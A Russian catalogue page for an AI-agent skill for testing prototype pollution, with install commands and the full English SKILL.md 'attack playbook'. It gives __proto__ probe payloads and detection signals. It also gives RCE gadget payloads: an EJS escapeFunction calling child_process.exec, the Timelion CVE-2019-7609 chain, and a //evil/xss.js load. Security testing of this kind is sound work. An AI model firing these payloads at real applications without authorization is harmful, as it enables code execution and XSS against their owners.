prototype-pollution — скилл для Claude Code: что делает и установка
Проверяет JavaScript-код на prototype pollution: от опасных merge-операций до чтения загрязнённых свойств. Нужен для авторизованных аудитов Node и браузерных приложений.
npx skills add yaklang/hack-skills --skill prototype-pollution -a claude-codeЧто делает prototype-pollution
Скилл ищет места, где пользовательский ввод попадает в глубоко вложенные объекты через JSON.parse, Object.assign, парсеры запросов и рекурсивное слияние. Он разбирает пути __proto__ и constructor.prototype, помогает проверить клиентские фрагменты URL и серверные JSON- или form-запросы, а затем наблюдать последствия в следующих чистых запросах.
Внутри есть сценарии для проверки merge-точек, таблица серверных сигналов и разбор цепочек, где загрязнённые свойства читают qs, шаблонизатор EJS или вызовы child_process. Также перечислены инструменты для поиска и подтверждения уязвимых мест. Проверять следует только разрешённые цели: автоматические тесты могут менять состояние приложения.
Какие задачи решает
- находить опасные глубокие слияния объектов
- проверять обработку ключей
__proto__ - сравнивать пути
__proto__иconstructor.prototype - замечать побочные эффекты после загрязнения прототипа
- искать цепочки от prototype pollution до RCE
Примеры запросов агенту
- Проведи авторизованный аудит JavaScript-приложения на prototype pollution и найди места с
JSON.parse,Object.assignи глубоким слиянием. - Проверь серверные JSON- и query-входы через
qs, сравни__proto__сconstructor.prototypeи опиши наблюдаемые признаки без запуска вредоносных команд. - Проанализируй найденную merge-точку: какие свойства из
Object.prototypeмогут прочитать EJS илиchild_process?
Как установить prototype-pollution
1Через Skills CLI (Vercel)
npx skills add yaklang/hack-skills --skill prototype-pollution -a claude-code2Вручную: положить файлы
~/.claude/skills/prototype-pollution/SKILL.mdПапка скилла целиком; для одного проекта — .claude/skills/prototype-pollution/
1Через Skills CLI (Vercel)
npx skills add yaklang/hack-skills --skill prototype-pollution -a codex2Вручную: положить файлы
.agents/skills/prototype-pollution/SKILL.mdДля всех проектов — ~/.agents/skills/
1Через Skills CLI (Vercel)
npx skills add yaklang/hack-skills --skill prototype-pollution -a cursor2Вручную: положить файлы
.cursor/skills/prototype-pollution/SKILL.mdCursor читает и .agents/skills/, и .claude/skills/
1GitHub CLI
gh skill install yaklang/hack-skills prototype-pollution2Вручную: положить файлы
.github/skills/prototype-pollution/SKILL.md1Через Skills CLI (Vercel)
npx skills add yaklang/hack-skills --skill prototype-pollution -a gemini-cli2Командой платформы
gemini skills install https://github.com/yaklang/hack-skills --path skills/prototype-pollutionВручную: положить файлы
.devin/skills/prototype-pollution/SKILL.mdСтарый путь .windsurf/skills/ тоже читается
Через Skills CLI (Vercel)
npx skills add yaklang/hack-skills --skill prototype-pollution -a opencodeClaude.ai
Упакуйте папку в zip и загрузите в Settings → Capabilities → Skills
По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов
Вопросы о prototype-pollution
Как установить prototype-pollution в Claude Code?
Выполните npx skills add yaklang/hack-skills --skill prototype-pollution -a claude-code, затем повторите npx skills add yaklang/hack-skills --skill prototype-pollution -a claude-code. Файл скилла находится в ~/.claude/skills/prototype-pollution/SKILL.md.
Что делает prototype-pollution?
Скилл помогает искать и проверять загрязнение прототипа в JavaScript-стеках. Он рассматривает клиентские и серверные входы, merge-операции и последующие места, где загрязнённые свойства могут повлиять на приложение.
Какие библиотеки и сценарии он проверяет?
В материалах отдельно упомянуты lodash.merge, deep-extend, hoek.applyToDefaults, qs, EJS и вызовы child_process. Для тестов нужны разрешённые цели, поскольку автоматические проверки способны вызвать побочные эффекты.
Исходный текст
SKILL.md · MIT
---
name: prototype-pollution
description: >-
Prototype pollution testing for JavaScript stacks. Use when user input is
merged into objects (query parsers, JSON bodies, deep assign), when
configuring libraries via untrusted keys, or when hunting RCE gadgets via
polluted Object.prototype in Node or the browser.
---
# SKILL: Prototype Pollution — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert prototype pollution for client and server JS. Covers `__proto__` vs `constructor.prototype`, merge-sink detection, Express/qs-style black-box probes, and gadget chains (EJS, Timelion-class patterns, child_process/NODE_OPTIONS). Assumes you know object spread and prototype inheritance — focus is on **parser behavior** and **post-pollution sinks**.
Routing note: prioritize PP when you see deep merges, recursive assign, `JSON.parse` followed by `Object.assign`, or URL queries converted to nested objects.
## 0. QUICK START
### Client-side first probes
```text
#__proto__[polluted]=1
#__proto__[polluted]=polluted
#constructor[prototype][polluted]=1
```
When input can reflect into DOM or framework routing, pair with `alert(1)` / `console` checks to observe whether global object properties were polluted.
```text
#__proto__[xxx]=alert(1)
```
### Server-side first probes(JSON / form)
```json
{"__proto__":{"polluted":true}}
```
```json
{"constructor":{"prototype":{"polluted":true}}}
```
After sending, check whether unrelated follow-up responses show abnormal headers/status/JSON spacing, or whether app logic reads `Object.prototype.polluted` (see §3 detection table).
### Quick boolean
If target code uses `lodash.merge`, `deep-extend`, `hoek.applyToDefaults`, or some `qs`/`query-string` configurations, **raise priority**.
---
## 1. MECHANISM
**Prototype chain**: when accessing `obj.key`, if `obj` lacks own property `key`, lookup walks up `[[Prototype]]` until `Object.prototype`.
**`__proto__`**: many parsers treat literal key `__proto__` as a magic path that attaches child properties to the prototype. Merging `{ "__proto__": { "x": 1 } }` can be equivalent to `Object.prototype.x = 1` depending on implementation and patch level.
**`constructor.prototype`**: `constructor` typically points to the object's constructor function; `constructor.prototype` is that constructor's prototype object. For plain objects this usually links to `Object.prototype`. Example path:
```json
{"constructor":{"prototype":{"polluted":1}}}
```
This is not always equivalent to `__proto__` (filtering, JSON parsing, Bun/Node differences), so **test both paths**.
**Core issue**: this is not just "one extra parameter"; in non-isolated merge logic, attacker-controlled keys point to **prototype objects**, giving **global** or shared template context malicious properties that later code reads normally, triggering gadgets.
---
## 2. CLIENT-SIDE DETECTION
### URL fragment
```text
https://app.example/page#__proto__[admin]=1
```
```text
https://app.example/#__proto__[xxx]=alert(1)
```
If router or analytics code parses fragments into objects and then merges, pollution may occur.
### `constructor.prototype` path
```text
#constructor[prototype][role]=admin
```
### DOM / attribute injection ideas
If the framework merges attribute names as object keys:
```text
__proto__[src]=//evil/xss.js
```
Event-handler style keys (implementation-dependent):
```text
__proto__[onerror]=alert(1)
```
**Verification**: open a fresh page without fragment and check in console whether test keys remain on `Object.prototype`; account for extension and DevTools interference.
---
## 3. SERVER-SIDE DETECTION (Express / Node, black-box)
The payloads below assume body/query is deeply parsed into objects by **qs** or similar parsers (possibly with `body-parser`). Observe **global side effects**, not only current endpoint return values.
| Payload (JSON example) | Expected observable signal |
|----------------------|----------------|
| `{"__proto__":{"parameterLimit":1}}` | Multi-parameter parsing in follow-up requests is ignored or abnormal (`qs`-style `parameterLimit`) |
| `{"__proto__":{"ignoreQueryPrefix":true}}` | Double-question-mark prefixes like `??foo=bar` are accepted or behavior changes sharply |
| `{"__proto__":{"allowDots":true}}` | Nested keys like `?foo.bar=baz` are expanded via dot notation |
| `{"__proto__":{"json spaces":" "}}` | JSON-serialized responses gain extra spaces (`JSON.stringify` spacing setting polluted) |
| `{"__proto__":{"exposedHeaders":["foo"]}}` | CORS responses include `foo`-related headers (if framework reads config from prototype) |
| `{"__proto__":{"status":510}}` | Some response status changes to 510 or another abnormal code (app reads `status` from object) |
**Operational tip**: send pollution request first, then a **clean** request to observe persistence; connection pools and worker lifecycle affect whether impact is globally visible.
---
## 4. EXPLOITATION GADGETS
| Target / scenario | Payload or pattern | Notes |
|-------------|------------|------|
| **EJS** | `{"__proto__":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}}` | If template engine options like `escapeFunction` are read from polluted prototype, this may lead to RCE; strongly version/config dependent |
| **Timelion expression chain (CVE-2019-7609)** | `.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("COMMAND")')` | Historical chain: prototype pollution + timeline expression execution; useful to understand **expression + PP** combinations |
| **Node `child_process`** | Pollute `shell`, `argv0`, `env`, `NODE_OPTIONS`, etc. (merged into `exec`/`fork` option objects) | Depends on whether later code calls `spawn`/`fork` and reads options from prototype chain |
| **Generic constructor path** | `{"constructor":{"prototype":{"foo":"bar"}}}` | Bypasses weak validation that filters only the `__proto__` key |
**Chain mindset**: pollution -> dependency reads `obj.settings.xxx` without `hasOwnProperty` -> RCE / SSRF / path traversal.
---
## 5. TOOLS
| Project | Purpose |
|------|------|
| **yeswehack/pp-finder** | Helps locate PP-prone merge points and patterns |
| **yuske/silent-spring** | Research and detection around prototype-pollution surfaces |
| **yuske/server-side-prototype-pollution** | Server-side PP testing suite/methodology |
| **BlackFan/client-side-prototype-pollution** | Browser-side PP cases and payloads |
| **portswigger/server-side-prototype-pollution** | Burp ecosystem extension / supporting material |
| **msrkp/PPScan** | Scanning/verification helper |
Prioritize use on **authorized** targets; automated tools can cause side effects on stateful applications.
---
## 6. DECISION TREE
```
Input merged into nested object?
(query, JSON, GraphQL vars, YAML→JSON)
|
NO --------------+-------------- YES
| |
Other vuln class Parser allows __proto__ /
constructor.prototype keys?
|
NO --------------+-------------- YES
| |
Check unicode / Confirm global effect:
bypass of key names clean follow-up request
| |
+--------------+----------------+
|
v
Gadget present? (template, spawn, JSON.stringify opts, CORS)
|
NO ------------------+------------------ YES
| |
Report PP as DoS / Build minimal RCE or
logic impact high-impact PoC
| |
+---------------------+-------------------+
|
v
Client-side: fragment / DOM / third-party script
Server-side: qs/body-parser/lodash/deep-merge version audit
```
---
## Related routing
- Input routing and multi-injection parallel entry -> [Injection Testing Router](../injection-checking/SKILL.md).
- Template execution chains (non-PP) -> [SSTI](../ssti-server-side-template-injection/SKILL.md).
- Insecure deserialization (non-JS prototype) -> [Deserialization](../deserialization-insecure/SKILL.md).
© yaklang · MIT · yaklang/hack-skills